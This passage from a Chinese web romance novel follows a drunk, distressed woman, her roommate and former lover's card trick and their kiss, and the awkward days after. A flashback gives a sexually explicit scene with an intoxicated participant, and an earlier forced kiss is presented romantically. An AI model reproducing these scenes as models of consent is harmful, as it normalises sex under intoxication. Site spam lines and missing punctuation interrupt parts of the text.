对上他的目光,容微月像是一艘飘荡的小船终于找到了避风港,鼻尖的酸意更多袭来,带着眼泪扑簌簌的掉。
傅蔺征心慌得一塌糊涂,“怎么了?
呼呼从容微月的怀中钻出来,咬了咬他衣袖,朝着远处的垃圾桶嗷嗷叫着,示意爸爸看去,傅蔺征看到垃圾桶里的,眼底一沉:“你喝酒了?
“没有……
“那里面那么多易拉罐哪儿来的?那些是他买回来准备给她煮水煮鱼的,这人全给喝了?
容微月垂着头,一颗颗泪珠无声往下滚落,他知道她一定是遇到了事情,心河巨浪翻腾,揉着她的后颈,低哑哄她:
“没事,我在这儿,不哭。
他在这儿,只要她愿意走向他,他就会保护她,尽全力帮她解决一切的问题,不会让她受任何的委屈。
傅蔺征抽纸巾给她擦眼泪,柔声把她当小朋友似的哄着。
半晌她泪意慢慢止住,情绪平复许多,傅蔺征轻声问:“出什么事了?
容微月喉间干涩,轻摇了摇头,只是又打开了一罐啤酒,仰头喝着。
傅蔺征无奈拦不住,想到傍晚她说回家给弟弟过生日,蹙了蹙眉:“今晚和你家里人吃饭不开心了?
高中时,容微月很少提起家里的事,傅蔺征只知道她的父母对她管教严苛,她有个姐姐因为生病离世了,还有个弟弟被父母宠爱着,容微月在家里并不开心。
同住这么久,傅蔺征也没有听她提起家里的事,好像也没回过家。
**高中毕业后容微月和她家里人关系如何,但是似乎不太好,否则为什么她不收家里的钱,要去外面勤工俭学。
再往下,他就不得而知。
他不想私下去查,不能再没有得到她允许的情况下,去窥探她的隐私,她一定会生气。
呼呼又来黏在容微月怀中,她的脸在它脑袋上擦了擦,垂下酸涩的眼眶,没有说话,傅蔺征揉揉她的头,吊儿郎当道:
“没事,不想说就不用说,我就在这儿坐着,想聊天我就听着,你要不想说话,想借我靠一靠抱一抱,也不是不行。
容微月吸了吸鼻子,轻声开口:“没什么……我只是今晚
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心情不好,突然觉得……自己挺差劲的,挺没用的。”
傅蔺征眉关紧锁:“你听谁在那儿胡扯八道了?你怎么就差劲了?”
“难道不是吗……”她重复着容承业的话,“我大学没去央美,现在毕业这么久了恋爱没谈,婚没结,工作室也开得普普通通,也买不起自己的房子……”
傅蔺征轻嗤:“没去央美怎么了?中美也很好,你本身就优秀,在哪儿不是闪闪发光?一个学校能决定一个人的未来么?”
“就那个老陈,陈儒生教授就没少在我面前夸你,说你是你们院专业第一,年年拿国家奖学金,优秀毕业生,作品拿了很多奖,你知不知道你是很多老师眼中的骄傲?”
他给她擦着眼泪,低柔言:“现在经济不景气,创业破产的千千万万,你能年纪轻轻坚守非遗文化,把工作室开得生意越来越好,已经很厉害了,你以为明恒做慈善,能把这么重要的电视剧道具制作交给一个没能力的小企业?你的工作室很有实力,规模肯定会越来越大,未来买房不是指日可待?你说自己差劲是不是凡尔赛了?”
她咕哝了声。
傅蔺征慵懒靠着沙发,故作随意言:“至于你说的结婚和谈恋爱呢,这个要看你自己,你要愿意……也是轻而易举的事,不用等。”
她眼睫微颤,轻轻咬唇没说话,傅蔺征看向她,语调正经了几分:
“在这个世界活着,每个人都有困难的时候,就像湖安,他从小父母就不在了,他小时候和他奶奶捡破烂为生的,拼命读书现在才进了大厂;还有我一些北漂的朋友,动不动被优化被裁员,很多毕业生都还在愁找工作,说你差劲的,他自己体验过成功么?”
容微月脑袋醉晕晕的,看向傅蔺征:“那你呢,你也有过这种挫败的时候吗?
傅蔺征倒是一点不谦虚:“我啊,那倒没有。”
“主要我从小到大太过优秀了,都不知道失败是什么滋味,有时候也感觉人生挺遗憾。”
“……”
容微月瘪嘴:“傅蔺征,你是在安慰我吗?”
男人提唇,“逗你的,赛场上谁没挫败过?”
他和她四目相对,认真道:“反正你别相信那些说你很差的人,人生的路有很多条,失败成功没有标准的定义,能评价你的只有你自己,其他的话不爱听就让它滚,懂么?”
她闻言,心头涌上热意。
从小到大,她拼命读书,很在乎别人的想法,得到肯定她会很开心,得到批评也会很难受,她的自信心每次好不容易建立起来,就会被容承业给推倒,他让她戒骄戒躁,可是最后生出来的却是自卑。
最近她精神状态好不容易
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好一点可一回家就再度崩塌她真的不知道该怎么和父母相处。
可好在此时此刻蔺征陪在她身边。
就像曾经许多个瞬间傅蔺征总是一次次打捞起脆弱的她救她于水深火热之中。
男人慵懒道:“以后不爱吃的饭就不吃不爱去的地方就少去我这里这么大不够你扑腾的?冰箱里全是好吃的想看电影想练琴想唱歌都有地方呼呼还天天等着你回家自己开心第一知道么?”
他记得她说从前家里人很少给她过生日倒是好意思让她回去给弟弟过生日要换他早特么掀桌子了。
容微月抱着呼呼温吞应了声傅蔺征把纸巾递给她扯唇:“行了把眼泪擦了他前两天刚洗的头。”
“……”
容微月的眼泪都滴在它在脑袋上湿漉漉的小家伙倒是乖乖的也没躲贴在她怀中。
她打了个酒嗝点起酒窝“刚刚我回来呼呼知道我心情不好就一直陪着我我好喜欢它呀它怎么能那么可爱呢。”
傅蔺征轻嗤:“狗倒是给你感恩上了面前的大活人白给你占便宜那么久愣是没看到。”
“……”
她小声道:“你也可爱。”
傅蔺征轻笑了声也懒得和她这个小酒鬼计较:“行了饿不饿去吃饭?”
她摇摇头脸红红的傅蔺征看到她仍旧耷拉着眉眼感觉心情还是没好。
她垂下头说一个人缓缓就好了傅蔺征顿了顿没说什么打开茶几抽屉拿出一盒黑色扑克牌靠着沙发懒懒坐在地毯上。
容微月喝着啤酒呆愣看他:“你要干什么?”
傅蔺征靠着沙发劲瘦的窄腰微微弯折两条长腿一伸一屈手肘懒散搭在屈起的膝盖上修长分明的直接拨开扑克牌盒卡牌倒在他掌中。
客厅里没开灯落地窗外的云彩灯火涌进来将傅蔺征的侧脸切分得棱角冷厉他眼皮上的那颗黑痣随着耷拉下来的眼显露在双眼皮上气质散漫勾人。
她坐在他对面。
洗牌的哗啦啦声响起男人戴着潮汐的尾指转动流利拨弄嗓音带着漫不经心的撩:
“带你玩个游戏CardSelectionandFinding.”
他手腕一翻一个利落漂亮的cardspring扑克牌像白色水浪般从一手跃入另一手而后他把牌背对自己
“从这五十二张牌里选两张牌可以是你喜欢的或者对你有意义的不用让我看到。”
容微月脑中迷糊他是要变魔术吗……
她想到什么朦朦胧胧的视线转了一圈抽了张红心Q
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和黑桃8。
她生日是12月8号。
她就选择了这俩数字。
“确定了么?”
“嗯……”
而后傅蔺征拿过剩余的快速洗牌让她再随意把两张牌放进来而后朝她倾身嗓音低磁:
“接下来呢是读心术。”
“看着我的眼睛十秒我就能感应到你刚刚抽中的牌。”
两人靠得很近容微月懵懵然仰眸视线昏暗中傅蔺征黑眸却又灼又烫一点点在她脸上点火。
近在咫尺间他身上冷冽的竹叶薄荷香像刚才拥抱时那样弥漫在她鼻息中带着难以压抑的侵略性让她心跳不自觉加快。
几秒后她抵抗不住眼睫轻颤垂下傅蔺征挑起唇角:“行了已经读好了。”
她看到傅蔺征开始洗牌纸牌在他手中旋转花切利落地翻转变化。
而后他洗完整副牌盖在他左手掌心一个topshot弹射一张牌弹到右手中他举了起来:“是这张么?”
是一张红桃9。
容微月摇头:“不是。”
傅蔺征又弹了张黑桃1“这张?”
容微月摇摇头。
第三张是方块7他挑眉“那这个呢?”
“不是。”
他又弹出了一张方块9“这个吗?”
容微月抱膝托腮晕乎乎弯眉:“都不是傅蔺征你到底会不会啊?”这人是故意逗她的吧?
他散漫勾唇:“都不对啊那我失误了啊不然你给点提示?这两个数字有什么含义啊?”
容微月垂下眼声音轻轻:“这是个不怎么值得纪念的数字。”
傅蔺征闻言黑眸微动随后对着剩下的牌打了个清脆响指提起唇角“我找到了。”
而后他抽出第一张翻转一抛——
那张红心Q显现于眼前。
容微月一怔。
而后他一个轻松的DuckChange纸牌在他手中忽而一变另外一张出现是她抽到的黑桃8。
他手一翻转
“12和8对么?”
容微月呆住。
她提醒了他就猜到了还一下子找到了……
“你怎么弄的……”
随后男人拿起前面抽的那四张错牌按照顺序排在那两张牌之前。
容微月看过去猛地呆住。
那四张牌的排序变成了1997——
1997.12.08。
是她的生日。
傅蔺征眼皮的黑痣挑起直直看她:“不单单要有月份日期还有加上年份才叫你的生日不是么?”
容微月心河翻腾脑中空白“你怎么一开始就知道我
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抽的是生日的牌……
傅蔺征笑:“我都说了是读心术,所以有我在,什么事不都能心想事成?
男人灼灼黑眸独独倒映着她,哑声道:
“容微月,谁说这日子不值得纪念?
“其他人忘记了没关系,但我永远都能翻出你的生日。
其他人不在意没关系。
他永远都记得她的生日。
他的小月亮来到这个世界的那一天,是对他生命中来说,最重要的日子。
没有她,他现在该怎么往前走。
容微月闻言,眼眶一圈圈积蓄酸意。
傅蔺征洗着牌,挑眉看她:“怎么样,要不要再玩一次?
她抬头对上傅蔺征炽热的眸,下一秒突然倾身靠近,红唇主动贴上他的。
傅蔺征一怔。
就像一颗陨石毫无预兆,猛烈燃烧**,坠进他的宇宙。
容微月指尖揪着毛毯,脑中迷蒙一片,心跳炸耳,只将想法借着醉意付诸实践。
几秒后,她意识到自己在做什么,面颊染上红晕,羞得想往后退,谁知傅蔺征抬手扣住她的后颈,将她圈住。
一瞬间他反客为主,反转她的冲动,覆来深吻。
唇上滚烫的气息烧到她微凉的红唇上,像是一把火翻腾燃起,彻底,热烈,毫无退路。
男人指间穿过她的发间,低头贴近,滚烈的气息袭来,带着来势汹汹的侵略感,她整个人几乎要被他的气息吞没。
顷刻间情愫如烈火燎原,纸牌散落在旁边,容微月眼睫宛若蝶翅扑动,不自禁阖上眼眸。
傅蔺征抬起她的脸,吻得更深,低喘沉沉,她呼吸被搅得混乱,面色在酒精下更显绯红。
她抵抗不住,往后倒去,推不开他也不想推开,细音轻颤:“唔……傅蔺征……
两人倒在地毯上,男人虎口扣住她盈盈一握的腰,倾身而来,一下一下吻她,她很快松开齿关,让他缠得更深,像极了六年前每一个厮混的夜晚。
半晌容微月薄红的耳垂贴上他唇的热度,几乎是条件反射,她后脊椎窜过电流,微微颤抖。
酒精和欲交织,她如坠入棉花中。
翻腾的浪潮袭来,傅蔺征青色血管凸峥的双臂掐住她腰间,她红唇泻出轻嘤,和他的喘混在一起。
男人慢慢从强势变为温柔缱绻,不知道过了多久,他感觉到怀中的女人安静下来。
他低头一看,她阖着眸,靠在他怀中。
“容微月。
她脑袋蹭了蹭他的颈窝,迷迷糊糊,睡着了。
“……
真行,把他撩一半就跑了。
傅蔺征沉沉呼吸,温柔抚开她脸颊的碎发,看她乖乖地窝在他怀里,一动不动。
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还真是放心他。
几秒后,男人强压心底的躁意,把她打横抱起,起身走进她卧室。
把小姑娘放在床上,他给她盖好被子。
傅蔺征目光落在她嫣红的唇瓣,眼底浑浊,末了轻轻亲了亲她的脸颊,离开房间。
他回到卧
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室,关上门,走向浴室。
水声淅沥,到很迟才停。
-
室外寒风呼啸,一夜飘零。
第二天,容微月醒来,头还隐隐作痛。
从床上爬起来,她看到身上还穿着昨天的衣服。
她懵然两秒,关于昨晚的回忆如窗外倾泻而入的晨光,涌了进来。
这一次,她没有断片。
她记起昨晚她喝了很多酒,情绪失控,主动抱了傅蔺征,他陪她说了很久的话,还给她变魔术。
然后,魔术好端端变着,她却忍不住亲了他……
她亲了他!!
他们好像还吻得很激烈……
“!!
容微月的脑中炸了,翻身把脸埋进被子里。
她是疯了吗!!!
完了完了呜呜呜……
此时的她完全清醒了,羞得整个人钻进杯子里,整张脸爆红。
这是他们重逢第二次接吻,第一次是他强迫,这一次却是她主动,想赖账都赖账不了。
QAQ她接下来该怎么面对傅蔺征啊……
下床洗漱完,她悄悄打开卧室的门,探出脑袋,外头很安静。
她走出去,呼呼醒来跑过来,朝她扑腾着,她立刻抱起它不让它叫唤,就跟要拐卖狗狗似的。
她悄声给它弄完早餐,蹑手蹑脚走到玄关,正要换鞋,忽而卧室门被打开。
傅蔺征走出来,一身黑T长裤,肩颈线条宽阔松弛。
他掀起眼皮朝她看来,眼底掀起涟漪。
他滚了滚喉结,直勾勾盯着她,“早餐……
他欲说早餐给她做好了在桌面上,谁知道小姑娘飞快垂下眼,穿好鞋:“我、我来不及,先上班了。
砰的一声,她跑出去关上了门。
傅蔺征:“……
他看到门口被震得倒下来的卡皮巴拉,扯起唇角。
果然,他就知道她是这副德行。
怂得和兔子一样。
容微月下楼,赶去工作室,一路上心跳还如爆开的爆米花。
不知道该怎么面对他,好尴尬……
到了晴月阁,她快步走进办公室,舒槿看到她打招呼,诧异:“姐,你脸怎么那么红啊?今天好冷的。
“我……可能是我穿得厚吧。
走去办公室,她打开冰柜拿出一瓶冰水,立刻灌下去,努力平复情绪。
很快手机震动了下,像是知道了她到达工作室,故意
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来逮她:
【容微月,你心虚跑那么快干什么?】
她脸颊通红,只能硬着头皮胡诌:【没有,我真来不及了。】
随后那头发来信息,格外直接:
【昨晚的事还记得多少?】
坐到办公桌前,她慢吞吞敲下几字:【昨晚?发生了什么?】
傅蔺征:【装傻是吧?】
容微月头疼回复:【我昨晚喝断片了,你也知道我酒量很差,我做了什么吗?如果冒犯到你了,我道歉。】
傅蔺征发来信息,她都能想象到他气笑的表情:【行,你真行。】
容微月面颊绯红。
主要是她脑中思绪如乱麻,理不清楚自己怎么就忍不住亲他,而他也没拒绝……
一切都发生得太荒唐暧昧了。
如果昨晚她没有睡着,以傅蔺征的攻势,她肯定也抵挡不住,说不定他们就……
她盖上手机,把粉桃脸埋进围巾里。
心不在焉工作了一个早晨,期间容新旭给她发来信息,问她心情如何,她照常回复,对于这个弟弟本身,她是喜欢的。
中午她手机又进来几条信息,来自盛柳。
【月月,你中午吃饭了吗?昨天的事我替爸爸给你道歉,他就是说话难听,其实他心底是很重视你的,你走后他也心情很差,喝了很多酒,你是他的骄傲,他就是希望有人能照顾你,就怕你一个人无依无靠。】
【你不要生我和你爸的气,我们是想着那个严怀条件真的很不错,才给你介绍的。】
容微月看着信息,觉得可笑。
无依无靠,那他们当父母的就没办法成为她的依靠吗?非要让她去依靠男人?
她回复:【从小到大,你们做什么事都不能提前问过我吗?生怕我嫁不出去,非塞给我一个人,可你们能为我以后的婚姻生活负责吗?万一我过得不幸福呢?】
【我再说一遍,我不相亲,还有不用每次吵完架都来当他的说客,我们现在还是少见面,双方都痛快。】
很少事情,她现在都麻木了。
她只想少回家,对他们都好。
盛柳再发来信息,她没有再看,也没有再回。
好在这些事也不太能影响她,因为现在对她来说有更大要处理的问题……
在工作室忙碌了一天,晚上她加班完回到家,发现傅蔺征在锻炼,她飞快回了卧室,锁上了门,就再也没有出来过。
翌日清晨,天色灰蒙蒙亮,傅蔺征睡醒,想给容微月做早餐,顺便堵堵人。
其实他知道小姑娘尴尬,知道她喝了酒又心情不好,有些冲动,他没打算要逼她什么,但她再怎么害羞,总不能躲着他,让他连人影都看不到吧?
谁
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
知道,他走出卧室,就发现她的卧室空了。
他一看时间,才5:45。
“……”
照这架势,今晚是不是连家都不打算回来了?
谁知晚上的时候,殷绿和夏千棠打电话约容微月说三姐妹聚聚,容微月答应,吃完饭就去了殷绿家,正好太晚了,她就和傅蔺征说了声没回去。
第三天早晨,她就从殷绿家直接去了工作室。
不过她倒也不是完全为了躲傅蔺征,这两天《霜雪吟》饰品的设计稿要最终定稿,设计部在快马加鞭。
第三天下午,容微月按照约定时间,去到明恒集团提交最终稿。
进到会议室里,导演和道具组负责人来了,容微月没看到傅蔺征,心里微微松了口气,起身和导演问好。
对方愧疚再度道歉:“容小姐这几天辛苦了,之前的事给你添了麻烦。”
“没事,尽快把稿子定下来,我们也能进入下一步了。”
“好的,那我们先看看设计稿,请坐。”
几人坐下,容微月把设计稿递过去,正聊着,会议室的门突然被打开。
好几日不见的人映入眼帘。
男人今天一身矜贵周正的西装,布料妥帖挺括包裹着他挺拔的身型,骨相优越,精雕细琢的面容帅得太过权威,平日里桀骜难驯的气场被收敛几分。
和那天晚上压着她亲的强势完全相反。
容微月呆住。
他怎么来了……
面前的领导们和傅蔺征颔首问好,容微月心跳乱了节拍,面颊薄红,恭敬开口:“傅总好。”
傅蔺征视线落了过来,似笑非笑开口:
“容小姐,是好久不见了。”
“……”
导演诧异:“傅总,您不是还在参加董事会吗?”
他是担心小姑娘工作上又遇到麻烦,得知她到了,就直接翘了会议。
傅蔺征坐下来,长腿交叠,余光瞟了眼对面的容微月,语气淡淡:
“刚好有空下来看看,你们继续。”
“好。”
傅蔺征转着笔,她视线落向他泛着青筋脉络的手,想到那晚他轻而易举就箍住她的腰窝,烫得厉害,好像还伸进衣服里面来了……
大家继续讨论,过了一遍稿子,导演赞叹:“容小姐,你们的技艺能达到这么精细的程度,晴月阁果然没辜负我的期待。”
容微月弯起红唇:“要是没有这个能力,当初我也不会来竞标了。”
导演含笑点头:“容小姐,那接下来就辛苦你们了,制作部分有问题你随时和我沟通。”
“好的。”
末了,协商一致,导演等人离开。
容微月拎起包往外走,跟在最后方,却见前方的傅
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
第 28 章 “我要回家给老婆做饭。”...
第28章第二十八章
【“我要回家给老婆做饭。”】
chapter28
傅蔺征的话直直揭穿她的行为容微月呆了呆突然反应过来——
对啊她如果不知道的话为什么要心虚躲着?这不是此地无银三百两吗她傻了QAQ……
她脸颊微热眼睫翩跹偏开眼竭力保持淡定轻声开口:“我没躲着你就是……就是这两天在赶最终稿太忙了。”
看她心虚那样他都想笑。
傅蔺征故作了然“行这么忙要从早上六点改到晚上十二点谁派给你的任务敢这么压榨你老子直接下去追责。”
“……”
她生怕他说真的连忙找补:“不是是我工作室还有其他事情……”
她脑袋瓜飞速旋转解释道:“主要是你前两天来质问我我感觉我应该做错了什么所以就愧疚地不敢面对你。”
她眨着无辜的眸子看他:
“所以到底发生了什么呢?”
傅蔺征气笑吊儿郎当道:“行不记得就算了那我就和你讲讲那天晚上呢是某人喝醉了一上来就对我又亲又抱上下其手各种动手动脚。”
容微月:?
“我呢堂堂一个正人君子矜持保守意志坚定努力保持着室友之间该有的距离多次尝试推开只可惜某人又哭又闹一直黏上来负隅顽抗最后还是没能成功。”
容微月:??
傅蔺征感慨:“反正抱也被抱了亲也被亲了还有些再深入的我也不好意思说我的清白就这么被玷污了呗也不算意外我就说和某人当室友是危险的当初的同住合约还是没能约束住她这一天我躲不掉迟早都要来。”
容微月:……???
不是这人怎么能这么厚脸皮!!
“我哪里又亲又抱的?”
傅蔺征:“嗯抱不是你主动的亲不是你主动的。”
“……”
她突然反驳不了。
不过她哪里上下其手了明明是……是他按着她亲……
容微月就没见过他这种厚脸皮的人咕哝地全盘否认:“才没有我酒品很好喝醉了都很老实的。”
他忽而笑了“哦是么?”
她对上傅蔺征的眸瞬间想到高中毕业后的那次。
那晚他们和殷绿、夏家兄妹等朋友去们去轰趴晚上十点多她喝多了说困傅蔺征抱她去隔壁房间谁知刚进去她就主动垫脚吻上了他。
烈火烹油傅蔺征很快拿过主动权扣着她吻得极缠气息交织半晌她被压在门后她剪水双瞳如波流转轻绵叫他
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“傅蔺征……”
他俯身咬她红唇,“嗯?不是说困了么?”
她杏眸又纯又媚,“没困,我骗你的……”
泉源细潺,小布都淹洇了,傅蔺征哑声喟叹:“shui怎么那么多啊宝贝,你说该怎么办?”
容微月贴在他颈肩,娇滴滴的嗓音轻软如小猫咪:
“我、我也不知道,堵不住的,你c一下好不好,到时候全部p出来就好了……”
喝醉的她主动地缠上来,傅蔺征被招惹得发疯,隔壁朋友还在玩桌游,他凶得把门撞得哐哐响,还好隔壁歌声够大,最后她哭唧唧挂在他身上,傅蔺征清理了好久的地面。
回忆在脑中翻涌,容微月感觉到他似乎也回忆到了,耳根发烫,羞得索性道:“反正喝醉的事我真的都不记得了,你到底有完没完……”
解释不通就开始耍赖,怎么能这么可爱,傅蔺征压下唇角,“我又不要你负责,你那么紧张什么?”
“……”
估计再说下去要让她恼羞成怒了,傅蔺征也没想真为难她,“行吧,那就当你忘记了。”
他拿过她手中的文件,“定稿完了,接下来还有事?”
“没有了。”
“那走了,回家。”
她懵然跟着他下楼,她今天开车来了,俩人各自开车,中途他提了速,给她发信息说去小区门口买点东西,等会儿停车场见。
于是过了会儿,有人就看到那辆世界限量的墨黑色帕加尼ChironSuperSport300+停在路边,那位京圈顶级太子爷下车走进超市,挑起了蔬菜瓜果。
超市里,有认出他来的车迷上前和他打招呼,没想到会在京郊遇到他,他温声回应。
傅蔺征和明星不同,不至于太受外界关注,虽然他各方面都很出圈,但在网络上不喜高调,只希望车迷多关注他的比赛,所以很多他的私生活明恒都会帮他压下来。
买完菜,末了帕加尼开到禾盛庭停车场,他停好车,等着小姑娘。
远处,正在停车的一个女人注意到了他,见他西装革履矜贵周正,靠着超跑,衬衫扣子随意解开,脖子上垂着一条银黑色古巴链,周身气场松弛,帅得一眼吸睛。
女人目光落到他那辆昂贵的帕加尼,眸里闪过一丝惊艳,补了补口红,踩着高跟妩媚地走过去。
傅蔺征低头看着手机,神色漫不经心,忽而听见一个娇滴滴的女声:“先生,能不能请你帮个忙?我借朋友的车开,可是倒车入库半天都没停好,看你车技一定很厉害,能不能帮我把车停一下呀?”
傅蔺征掀起眼皮看了眼她,神色冷淡无波:“不好意思,没空。”
她撩了
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下长发,朝他倾身,嗓音娇软:“帅哥帮帮忙嘛,车位就在你对面,不会麻烦你太久的。”
傅蔺征扯唇,淡漠吐出几字:“这片都是我的车位,你想停哪儿?”
“……”
女人愣了愣,更加惊叹他这有钱程度,递来手机,笨笨笑道:“那我可能找错地方了,但认识一场就是缘分,帅哥能不能给个联系方式,交个朋友啊?”
傅蔺征冷淡:“不好意思,我有老婆,她管得严,我不能交其他异性朋友。”
就在这时,容微月的车驶来,稳稳地停在对面的车位里,下车就看到了这一幕。
她一脸懵,傅蔺征看向她,对陌生女人道:“看到了吧,我老婆回来了,我要回家给她做饭了。”
容微月:嗯???
女人看到容微月她从对面的车位走过来,又看到她如此漂亮的脸,呆得尴尬起来,傅蔺征立直身子,走到容微月身旁,语调宠溺自然:
“我买了一条黑鱼,已经让超市片好了,今晚回家吃酸辣鱼片?”
容微月懵得眨眨眸子,反应过来,“好。”
女人看到傅蔺征与刚刚截然不同的亲昵,没想到这人这么有钱还愿意为女朋友洗手作羹汤,脸色僵红,末了只好讪讪离开。
见她走后,容微月面色烧红,“你刚才干嘛……”
傅蔺征懒嗤:“怎么,身为我室友,帮我挡下桃花不行?”
好吧,她恰好出现,他找她帮忙也很正常……
傅蔺征见她站在原地:“走了,吃不吃饭?”礼搁
她跟了上去,两人回到家,他把满满当当的食材放到中岛台上,容微月抱着呼呼走过去看到袋子里的,“你真买了鱼啊?”
“你当我开玩笑?”
容微月发现他最近经常在家里吃饭,做饭次数激增,而且每次煮多了她都能蹭到一份,不用再点那些油腻腻的外卖。
虽然他做的味道时常不敢恭维,但是胜在健康,偶尔几道还挺惊艳的。
她软声道:“我和你一起做吧。”
傅蔺征脱了西装外套,只剩下黑衬衫,他折起衣袖,露出青筋蔓延的手臂,转身直勾勾看她:“你要和我做什么?”
他离她很近,她呆了呆,垂下脑袋,将心头不该有的涟漪压下:“就……做饭啊,不是吃鱼吗。”
傅蔺征挑唇,把买来的草莓麻薯小蛋糕提给她,“别添乱,你去陪呼呼玩,饿了就吃点这个。”
没想到他又买了甜品,她愣了愣,咕哝:“行,但我帮你先把这些配菜洗了吧。”
他轻笑,“我知道了。”
“啊?”
“想和我多待一会儿呗,能理解,毕竟两三天都没见到我了。”
“
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?”
她明明是他怕炸厨房好吗?
最后呼呼就趴在中岛台上陪爸爸妈妈,容微月一边吃着小蛋糕,一边和傅蔺征搜着教程,给他打下手,俩人手忙脚乱,但是好在成功做出来了。
味道出奇不错,酸辣鲜香特别下饭,向来小胃口的她都忍不住添了饭。
看她爱吃,他也放了心。
饭后傅蔺征去处理公事,容微月也去画稿子。
晚上九点多,她终于忙完,揉了揉发酸的眼睛,摘掉隐形眼镜去洗澡,而后抱着旧衣去阳台洗衣服,谁知弄完转身往回走,没注意角落,膝盖“咚”地一声就撞上了柜角。
她疼得一颤,踉跄着后退两步,捂着膝盖倒吸一口冷气。
好疼……
一瘸一拐走进室内,刚锻炼完从健身房出来的傅蔺征看到她这样子,走过来,“怎么了?”
“没事,腿磕了下。”
他拧眉俯身察看,“过来涂个药。”
她挪动着步伐,跟他坐到客厅沙发上,傅蔺征拿了药箱过来,要帮她涂药,她羞赧说自己来。
傅蔺征无奈:“怎么这么笨,走路不小心点?”
“我没戴眼镜,没看清楚……”
她近视,在夜晚又有点夜盲,从前在那个小小的出租屋磕磕碰碰都是常事。
刚住进去,有次晚上小区停电,她去阳台收衣服,被堆出来的纸箱不小心绊倒,直接扑倒在地,手臂就磕在阳台推拉门的锋利的金属边上,膝盖重重砸了下去,手掌心撑在地面。
家里就她一个,房间里黑漆漆的,她趴在地上一动不动,指尖都在发抖,眼泪直接涌了出来,缓了好几分钟才有力气慢慢坐起来,膝盖上和手掌手臂血糊一片,家里没药了,她疼得晚上睡不着,第二天还得照例去挤地铁。
傅蔺征闻言眉眼沉沉,心底涌现愧疚。
是他一开始布置的时候没注意。
他看了眼阳台外头昏黄的灯,又问她:“现在近视有没有加深?”
“左眼三百,右眼三百五,比高中深了一点。”
她平时做的都是精细的花丝镶嵌的活,最小的花丝才不到两毫米,难免用眼疲惫。
“不过戴个眼镜还是没问题的,等后面我再去做近视手术吧。”
傅蔺征应了声,慵懒言:“不过你近视归近视,那天晚上客厅灯没开,扑克牌上的数字你倒是看得挺清楚。”
她低头涂着药:“拿得近没问题啊,半只手臂的距离我还是能看得清的。”
空气安静了两秒,男人含笑的嗓音传来——
“容微月,你不是说你断片了么?你怎么知道我说的扑克牌是什么?”
她脑中嗡得一声,倏地抬头对上傅蔺征带着
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兴味的眸脸颊泛起红晕结巴找补:“我、我就依稀只记得好像你在玩扑克牌其他不记得了。”
傅蔺征挑起唇角“嗯你说什么我都相信呢。”
“……”
傅蔺征坐在她身旁如深海的黑眸独独落向她像是猎犬盯着猎物。
同一个地点仿佛又回到了那晚。
空气一点点升温。
容微月心跳扑通乱跳涂完盖好药膏立刻起身:“我先回房了……”
腿跟完全不疼了似的像兔子溜得飞快。
傅蔺征偏眼笑了。
回到卧室容微月跌坐在床边尴尬地往后倒去。
她想起昨晚和殷绿聊天时忍不住把亲了傅蔺征的事情告诉殷绿殷绿激动:“容微月好样的你胆子也太大了!!果然酒壮怂人胆啊那傅蔺征呢?他什么态度他不可能推开你吧?!”
“他……”容微月埋头“我想逃的时候的时候已经来不及了后来就被他按着亲了。”
殷绿激动地嗷嗷叫:“你醉了可是他没醉啊!如果傅蔺征不喜欢你怎么会亲你同样的你也想一想你为什么会亲他是不是你又喜欢上他了?还是你一直就没有停止喜欢他?”
殷绿的话不断萦绕在耳边还有傅蔺征那句他永远都能翻出她的生日惹得她的心如初春时节化冻的冰河被柔风吹得阵阵涟漪。
可当年她做的那么决绝他真的不会介意吗……
他们还能回到从前吗……
容微月心跳如鼓复杂的情绪翻滚
-
一个晚上容微月辗转反侧心潮翻涌。
翌日清晨她开车去工作室室外晨雾未散京市街头宛若被一层轻纱笼着她开着车不禁回想着曾经和傅蔺征在一起的过程。
当初高三前一天那晚夏日音乐会的大雨中他们相遇相识开学后傅蔺征没过多久就对她展开攻势。
那时的傅蔺征是澜高最张扬耀眼的存在从不缺追求者传闻中的明恒大少爷从没追过谁可他偏偏盯上了她。
很快这消息传出就在人群中炸锅。
一开始她不相信甚至觉得荒唐他们性格截然相反就是不同世界的人她不明白傅蔺征喜欢她什么她玩不起只想对他避而远之害怕成为他又一个三分钟热度过后的谈资。
可傅蔺征偏偏死缠烂打浑身是劲儿地靠近她一点点打开她保护自己的壳在日渐相处中她解开了对他的误会和偏见看到他的真心也难掩动心。
只是那天在琴房楼下他关于赌约的话让她整颗心降到了冰点游乐场她用彭清时刺激傅蔺征
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让他们关系崩盘,形容陌路。
可后来,傅蔺征还是为她不惜打架受伤,抢回了小提琴,还是如从前般保护她。
他说他还是喜欢她,不会放手。
那一刻,她也知道自己坠入爱河,没办法自欺欺人。
在一起后,赌约的事被容微月压在心底,只是她性格敏感,没有安全感的种子早已种下,高考毕业发生了一些事,她提出分手,改了志愿去杭市,他们的感情就像昙花一现,灿烂盛开但转瞬即逝。
本来她以为,六年后他们重逢,不会再有新故事,可是如今发生的一切,早已打破了她最初的预设。
早晨到工作室,容微月发现工作室收到了一大包包裹。
里面是许多吃的,各种养生的食材,便利贴上都写着使用方法,还有给她买的冬装和关于花丝镶嵌的书籍和工具,里面密密麻麻都是笔记。
她接到了盛柳的电话,说是她送的,她和容承业中午十一点半的飞机飞芬兰。
他们每年都会出国旅行,要玩一个多月。
盛柳柔声道:“月月,那些东西其实是你爸给你准备的,他不让我说,他很后悔那天对你那么凶,不该说你一事无成,但是你也知道他性子,拉不下面子来和你道歉,他让我告诉你,工作不要太累了,一定要按时吃饭,要照顾好自己。”
容微月敛眸淡声言:“你们一路平安,有需要什么再联系,我先去工作了。”
“……好。”
她看着那箱东西,觉得心酸。
其实她根本不想要这些,从小到大,她只是想要多些来自他们的关爱和肯定而已。
缓下情绪,容微月走去车间,把《霜雪吟》饰品定稿的好消息告诉大家,众人欢喜,中午大家出去搓了一顿饭作为庆祝,容微月说接下来制作环节才是重中之重,给他们的工期时间不宽裕,既要保证速度还要保证质量。
容微月把任务分配给每个师傅,大家有条不紊配合制作,一切都好起来了。
周四晚上,容微月得知这周周日是澜高六十周年校庆,学校邀请历届学子回母校参加,当晚高三班级群里就热闹地刷了几百条信息。
第二天几个班委就定下来,周日晚上同学聚会,大家一起吃吃饭,聚一聚。
夏斯礼最会来事儿,也是组织者之一,很快就给容微月和殷绿发来信息,邀请两位美女一定要来。
殷绿私底下问容微月:【宝你有去吗?我挺想去的,好久没回学校了,我主要是回去认识一下老师们,毕竟以后都是一个圈子的。】
